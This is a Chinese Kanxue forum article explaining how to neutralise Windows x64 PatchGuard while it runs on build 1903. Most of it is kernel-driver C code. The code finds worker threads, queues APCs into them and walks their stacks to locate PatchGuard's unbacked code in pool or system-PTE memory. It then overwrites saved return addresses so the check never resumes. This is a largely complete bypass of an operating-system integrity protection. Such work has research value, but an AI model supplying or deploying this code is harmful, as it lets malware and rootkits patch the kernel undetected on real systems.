攻破 Windows AMD 64 平台的 PatchGuard - 清除执行中的 PatchGuard
最近微软更新了 1903 忙着更新了一下代码,顺便把文章补全,主要是解释一下如何检测的。
当 PatchGuad 处于执行状态时,首先解密头部的CmpAppendDllSection,然后在 CmpAppendDllSection内部完整解密整个Context,进入PatchGuardEntryPointer,替换IDT,关闭DR中,自检,插入Worker(自捡成功的话),清空栈,进入FsRtlUninitializeSmallMcb》。
这里FsRtlUninitializeSmallMcb 就是 PatchGuad 的执行主逻辑,在这个逻辑中大部分时间 PatchGuad 都是出于延时状态以减少CPU 占用。
攻击逻辑首先是枚举当前的Worker 线程,我使用的方法是把自己先插入到Worker,然后通过对比入口点来判断Worker 线程,然后每个Work线程插入一个特殊模式的Apc(保存现场->检测逻辑)。
VOID
NTAPI
PgCheckAllWorkerThread(
__inout PPGBLOCK PgBlock
)
{
NTSTATUS Status = STATUS_SUCCESS;
PSYSTEM_PROCESS_INFORMATION ProcessInfo = NULL;
PSYSTEM_EXTENDED_THREAD_INFORMATION ThreadInfo = NULL;
PVOID Buffer = NULL;
ULONG BufferSize = PAGE_SIZE;
ULONG ReturnLength = 0;
ULONG Index = 0;
PULONG64 InitialStack = 0;
DISPATCHER_HEADER * Header = NULL;
/*
if (os build >= 9600){
PgBlock->WorkerContext = struct _DISPATCHER_HEADER
Header->Type = 0x15
Header->Hand = 0xac
}
else {
PgBlock->WorkerContext = enum _WORK_QUEUE_TYPE
CriticalWorkQueue = 0
DelayedWorkQueue = 1
}
*/
InitialStack = IoGetInitialStack();
if (GetGpBlock(PgBlock)->BuildNumber >= 9600) {
while ((ULONG64)InitialStack != (ULONG64)&PgBlock) {
Header = *(PVOID *)InitialStack;
if (FALSE != MmIsAddressValid(Header)) {
if (FALSE != MmIsAddressValid((PCHAR)(Header + 1) - 1)) {
if (0x15 == Header->Type &&
0xac == Header->Hand) {
PgBlock->WorkerContext = Header;
break;
}
}
}
InitialStack--;
}
}
else {
PgBlock->WorkerContext = UlongToPtr(CriticalWorkQueue);
}
retry:
Buffer = ExAllocatePool(
NonPagedPool,
BufferSize);
if (NULL != Buffer) {
RtlZeroMemory(
Buffer,
BufferSize);
Status = ZwQuerySystemInformation(
SystemExtendedProcessInformation,
Buffer,
BufferSize,
&ReturnLength);
if (NT_SUCCESS(Status)) {
ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)Buffer;
while (TRUE) {
if (PsGetCurrentProcessId() == ProcessInfo->UniqueProcessId) {
ThreadInfo = (PSYSTEM_EXTENDED_THREAD_INFORMATION)
(ProcessInfo + 1);
if (NULL == PgBlock->ExpWorkerThread) {
for (Index = 0;
Index < ProcessInfo->NumberOfThreads;
Index++) {
if ((ULONG64)PsGetCurrentThreadId() ==
(ULONG64)ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread) {
PgBlock->ExpWorkerThread = ThreadInfo[Index].Win32StartAddress;
break;
}
}
}
if (NULL != PgBlock->ExpWorkerThread) {
for (Index = 0;
Index < ProcessInfo->NumberOfThreads;
Index++) {
if ((ULONG64)PsGetCurrentThreadId() !=
(ULONG64)ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread &&
(ULONG64)PgBlock->ExpWorkerThread ==
(ULONG64)ThreadInfo[Index].Win32StartAddress) {
AsyncCall(
ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread,
NULL,
NULL,
(PUSER_THREAD_START_ROUTINE)PgCheckWorkerThread,
PgBlock);
}
}
}
break;
}
if (0 == ProcessInfo->NextEntryOffset) {
break;
}
else {
ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)
((PCHAR)ProcessInfo + ProcessInfo->NextEntryOffset);
}
}
}
ExFreePool(Buffer);
Buffer = NULL;
if (STATUS_INFO_LENGTH_MISMATCH == Status) {
BufferSize = ReturnLength;
goto retry;
}
}
}
Apc的逻辑主要是栈回溯,当回溯到无模块的返回点时就会停止回溯,通过最后一个回溯点是不是NULL来判断是不是要检测的线程。当然这里可能存在无模块的其他驱动(比如某P),先通过BigPool 和 SystemPtes 搜索出内存块的大小,这里不得不吐槽一下 RtlFindSetBits 有坑。
VOID
NTAPI
PgLocatePoolObject(
__inout PPGBLOCK PgBlock,
__in PPGOBJECT Object
)
{
PFN_NUMBER Index = 0;
PVOID Establisher = NULL;
GetCounterBody(&Object->Establisher, &Establisher);
for (Index = 0;
Index < PgBlock->PoolBigPageTableSize;
Index++) {
if (POOL_BIG_TABLE_ENTRY_FREE !=
((ULONG64)PgBlock->PoolBigPageTable[Index].Va & POOL_BIG_TABLE_ENTRY_FREE)) {
if (NonPagedPool == PgBlock->MmDeterminePoolType(PgBlock->PoolBigPageTable[Index].Va)) {
if (PgBlock->PoolBigPageTable[Index].NumberOfPages > PgBlock->SizeINITKDBG) {
if ((ULONG64)Establisher >= (ULONG64)PgBlock->PoolBigPageTable[Index].Va &&
(ULONG64)Establisher < (ULONG64)PgBlock->PoolBigPageTable[Index].Va +
PgBlock->PoolBigPageTable[Index].NumberOfPages) {
Object->BaseAddress = PgBlock->PoolBigPageTable[Index].Va;
Object->RegionSize = PgBlock->PoolBigPageTable[Index].NumberOfPages;
#ifndef PUBLIC
DbgPrint(
"[Sefirot] [PatchGuard] < %p > found region in pool < %p - %08x >\n",
Establisher,
Object->BaseAddress,
Object->RegionSize);
#endif // !PUBLIC
Object->Type = PgPoolBigPage;
break;
}
}
}
}
}
}
VOID
NTAPI
PgLocateSystemPtesObject(
__inout PPGBLOCK PgBlock,
__in PPGOBJECT Object
)
{
PRTL_BITMAP BitMap = NULL;
ULONG BitMapSize = 0;
PFN_NUMBER NumberOfPtes = 0;
ULONG HintIndex = 0;
ULONG StartingRunIndex = 0;
PVOID Establisher = NULL;
NumberOfPtes = PgBlock->NumberOfPtes;
GetCounterBody(&Object->Establisher, &Establisher);
BitMapSize =
sizeof(RTL_BITMAP) +
(ULONG)((((NumberOfPtes + 1) + 31) / 32) * 4);
BitMap = ExAllocatePool(NonPagedPool, BitMapSize);
if (NULL != BitMap) {
RtlInitializeBitMap(
BitMap,
(PULONG)(BitMap + 1),
(ULONG)(NumberOfPtes + 1));
RtlClearAllBits(BitMap);
InitializeSystemPtesBitMap(
PgBlock->BasePte,
NumberOfPtes,
BitMap);
do {
HintIndex = RtlFindSetBits(
BitMap,
1,
HintIndex);
if (MAXULONG != HintIndex) {
RtlFindNextForwardRunClear(
BitMap,
HintIndex,
&StartingRunIndex);
RtlClearBits(BitMap, HintIndex, StartingRunIndex - HintIndex);
if ((ULONG64)Establisher >=
(ULONG64)GetVirtualAddressMappedByPte(
PgBlock->BasePte + HintIndex) &&
(ULONG64)Establisher <
(ULONG64)GetVirtualAddressMappedByPte(
PgBlock->BasePte + StartingRunIndex) - PgBlock->SizeCmpAppendDllSection) {
Object->BaseAddress =
GetVirtualAddressMappedByPte(PgBlock->BasePte + HintIndex);
Object->RegionSize =
(SIZE_T)(StartingRunIndex - HintIndex) * PAGE_SIZE;
#ifndef PUBLIC
DbgPrint(
"[Sefirot] [PatchGuard] < %p > found region in system ptes < %p - %08x >\n",
Establisher,
Object->BaseAddress,
Object->RegionSize);
#endif // !PUBLIC
Object->Type = PgSystemPtes;
break;
}
HintIndex = StartingRunIndex;
}
} while (HintIndex < NumberOfPtes);
ExFreePool(BitMap);
}
}
VOID
NTAPI
PgLocateObject(
__inout PPGBLOCK PgBlock,
__out PPGOBJECT Object
)
{
IpiSingleCall(
(PPS_APC_ROUTINE)NULL,
(PKSYSTEM_ROUTINE)PgLocatePoolObject,
(PUSER_THREAD_START_ROUTINE)PgBlock,
(PVOID)Object);
if (-1 == Object->Type) {
IpiSingleCall(
(PPS_APC_ROUTINE)NULL,
(PKSYSTEM_ROUTINE)PgLocateSystemPtesObject,
(PUSER_THREAD_START_ROUTINE)PgBlock,
(PVOID)Object);
}
}
然后在内存块搜索 PatchGuardEntryPointer的头部代码来判断是不是 PatchGuad执行逻辑,如果是释放掉内存->重启Worker,不是则恢复运行环境。为了便于管理,这里使用了对象的设计方法,每个检测到的CONTEXT 分配一个对象。
VOID
NTAPI
PgCheckWorkerThread(
__inout PPGBLOCK PgBlock
)
{
ULONG64 LowLimit = 0;
ULONG64 HighLimit = 0;
PULONG64 InitialStack = 0;
PULONG64 TargetPc = NULL;
ULONG Count = 0;
PCALLERS Callers = NULL;
ULONG Index = 0;
LONG_PTR Reference = 0;
PVOID * Parameters = NULL;
PGOBJECT TempObject = { 0 };
PPGOBJECT Object = NULL;
Callers = ExAllocatePool(
NonPagedPool,
MAX_STACK_DEPTH * sizeof(CALLERS));
if (NULL != Callers) {
Count = WalkFrameChain(
Callers,
MAX_STACK_DEPTH);
if (0 != Count) {
// PrintFrameChain(Callers, 0, Count);
IoGetStackLimits(&LowLimit, &HighLimit);
InitialStack = IoGetInitialStack();
// all worker thread start at KiStartSystemThread and return address == 0
// if null != last return address code is in noimage
if (NULL != Callers[Count - 1].Establisher) {
DbgPrint(
"[Sefirot] [PatchGuard] < %p > found noimage return address in worker thread\n",
Callers[Count - 1].Establisher);
for (TargetPc = (PULONG64)Callers[Count - 1].EstablisherFrame;
(ULONG64)TargetPc < (ULONG64)InitialStack;
TargetPc++) {
// In most cases, PatchGuard code will wait for a random time.
// set return address in current thread stack to _RevertWorkerToSelf
// than PatchGuard code was not continue
if ((ULONG64)*TargetPc == (ULONG64)Callers[Count - 1].Establisher) {
// restart ExpWorkerThread
// ExFrame->P1Home = WorkerContext;
// ExFrame->P2Home = ExpWorkerThread;
// ExFrame->P3Home = PspSystemThreadStartup;
// ExFrame->Return = KiStartSystemThread; <- jmp this function return address == 0
SetCounterBody(
&TempObject.Establisher,
Callers[Count - 1].Establisher);
TempObject.Type = -1;
PgLocateObject(PgBlock, &TempObject);
if (-1 != TempObject.Type) {
Object = PgCreateObject(
PgDeclassified,
TempObject.Type,
TempObject.BaseAddress,
TempObject.RegionSize,
NULL,
PgBlock,
PgBlock->ClearCallback,
Callers[Count - 1].Establisher,
GetGpBlock(PgBlock)->CaptureContext);
if (NULL != Object) {
SetCounterBody(
&Object->Establisher,
Callers[Count - 1].Establisher);
*TargetPc = (ULONG64)&Object->Establisher;
InterlockedIncrementSizeT(&PgBlock->ReferenceCount);
DbgPrint(
"[Sefirot] [PatchGuard] < %p > insert worker thread check code\n",
PgBlock->ReferenceCount);
}
}
break;
}
}
}
}
ExFreePool(Callers);
}
}
- End -
看雪ID:小艾
https://bbs.pediy.com/user-123809.htm
本文由看雪论坛 小艾 原创
转载请注明来自看雪社区
戳
⚠️ 注意
2019 看雪安全开发者峰会门票正在热售中!
长按识别下方二维码,即可享受 2.5折 优惠!
热门文章阅读
公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com
↙点击下方“阅读原文”,查看更多干货